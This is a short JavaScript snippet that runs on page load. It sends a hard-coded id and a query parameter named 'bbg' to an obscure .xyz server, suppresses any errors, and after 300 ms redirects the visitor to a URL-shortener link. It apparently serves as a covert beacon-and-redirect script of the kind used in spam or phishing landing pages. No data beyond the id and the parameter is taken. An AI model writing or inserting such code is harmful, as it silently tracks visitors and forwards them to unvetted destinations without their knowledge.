let bh="0i1dm75Dn8177vK041"; let lianjie="https://sdun.io/vvd3Ta"; let zhitiao="1"; function getQueryParams() { const queryString = window.location.search.substring(1); const params = {}; if (queryString) { const pairs = queryString.split("&"); for (let i = 0; i < pairs.length; i++) { const pair = pairs[i].split("="); const key = decodeURIComponent(pair[0]); const value = pair[1] ? decodeURIComponent(pair[1]) : ""; params[key] = value; } } return params; } function bigoshowline(){ try { const params = getQueryParams(); let bbg=params.bbg; const xhr = new XMLHttpRequest(); xhr.open("POST", "https://cdn.euhosgzv.xyz/index/index/fw_xhr", true); xhr.setRequestHeader("Content-Type", "application/json"); xhr.onreadystatechange = function() { if (xhr.readyState === 4) { if (xhr.status === 200) { //const data = JSON.parse(xhr.responseText); console.log("success"); } else { console.error("error:", xhr.status, xhr.statusText); } } }; const postData = { bh: bh, bbg:bbg }; xhr.send(JSON.stringify(postData)); } catch (err) { } console.log("go"); //go setTimeout(function(){ window.location.href=lianjie; },300) } if(zhitiao=="1"){ bigoshowline(); }